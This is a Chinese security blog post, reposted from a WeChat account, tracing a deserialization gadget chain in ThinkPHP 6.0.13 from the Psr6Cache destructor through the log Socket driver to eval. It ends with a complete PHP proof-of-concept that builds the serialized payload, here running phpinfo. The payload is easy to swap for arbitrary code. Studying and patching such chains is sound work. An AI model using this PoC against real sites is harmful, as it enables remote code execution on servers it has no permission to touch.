TP6.0.13最新反序列化分析

admin 2022年9月26日18:32:53安全文章评论14 views2163字阅读7分12秒阅读模式


TP反序列化分析


        最近看到最新版tp6.0.13出了新的反序列化链子,因为我反序列化比较菜,所以本篇在NaMI师傅的帮助下完成

        原始poc:

https://github.com/top-think/framework/issues/2749

         首先安装thinkphp6,注意tp6之后只能使用composer安装

TP6.0.13最新反序列化分析


TP6.0.13最新反序列化分析


TP6.0.13最新反序列化分析

        我们在poc当中可以看到漏洞最终调用点

TP6.0.13最新反序列化分析

        找到该处,可以看到最后是在103行使用eval执行的

TP6.0.13最新反序列化分析

        但因为这种框架向上走太麻烦,所以还是采取使用poc+动态debug进行分析

        新建一个vul方法

TP6.0.13最新反序列化分析

        然后直接打入payload

TP6.0.13最新反序列化分析

        反序列化起始点,destruct函数,

TP6.0.13最新反序列化分析

        然后可以看到跟进了save函数

TP6.0.13最新反序列化分析

        其中在初始化的过程中传入了pool参数,

TP6.0.13最新反序列化分析


TP6.0.13最新反序列化分析

        $this->pool->getItem调用时,触发了魔术方法_call,因为Channel对象中没有getItem方法。此时也会执行构造方法

TP6.0.13最新反序列化分析

        其中call函数调用了log函数,然后又调用了record,f7跟进去看看执行了什么

TP6.0.13最新反序列化分析

        我们可以看到在104行调用了save,继续跟进来

TP6.0.13最新反序列化分析

        我们可以看到145中还调用了save函数,因为此时初始化的变量logger为thinklogdriverSocket,所以此时的save函数是去往Socket的类

TP6.0.13最新反序列化分析

        跟进来

TP6.0.13最新反序列化分析

        经过request类中的url函数解析后可以看到解析出来了我们的phpinfo

TP6.0.13最新反序列化分析

        再跟进去invoke函数,可以看到传入了display

TP6.0.13最新反序列化分析

       其中前面加的http是在domain函数和scheme函数中获取的

TP6.0.13最新反序列化分析

TP6.0.13最新反序列化分析

     然后跟进invokeMethod函数

TP6.0.13最新反序列化分析

        其中317行传入了类和方法名,然后代入329invokeArg函数中,该函数使用方法为

TP6.0.13最新反序列化分析

        最后代入函数eval中解析php代码

TP6.0.13最新反序列化分析

        成功RCE

TP6.0.13最新反序列化分析

        最后的反序列化poc为

<?phpnamespace LeagueFlysystemCachedStorage{    class Psr6Cache{          private $pool;          protected $autosave = false;          public function __construct($exp){              $this->pool = $exp;          }    }}namespace thinklog{      class Channel{          protected $logger;          protected $lazy = true;          public function __construct($exp){               $this->logger = $exp;               $this->lazy = false;          }}}namespace think{      class Request{          protected $url;          public function __construct(){              $this->url = '<?php phpinfo(); ?>';          }      }      class App{            protected $instances = [];            public function __construct(){                $this->instances = ['thinkRequest'=>new Request()];            }       }}namespace thinkviewdriver{      class Php{}}namespace thinklogdriver{      class Socket{            protected $config = [];            protected $app;            protected $clientArg = [];            public function __construct()            {               $this->config = [                  'debug'=>true,                  'force_client_ids' => 1,                  'allow_client_ids' => '',                  'format_head' => [new thinkviewdriverPhp,'display'], # 利用类和方法               ];               $this->app = new thinkApp();               $this->clientArg = ['tabid'=>'1'];            }       }}namespace{    $c = new thinklogdriverSocket();    $b = new thinklogChannel($c);    $a = new LeagueFlysystemCachedStoragePsr6Cache($b);    echo urlencode(serialize($a));}


宣传页

ZAC安全

本人微信:zacaq999 
文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点

安全宝典欢迎各位大佬以投稿方式免费进入!


TP6.0.13最新反序列化分析





原文始发于微信公众号(弱口令安全实验室):TP6.0.13最新反序列化分析

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月26日18:32:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  TP6.0.13最新反序列化分析 http://cn-sec.com/archives/1316840.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: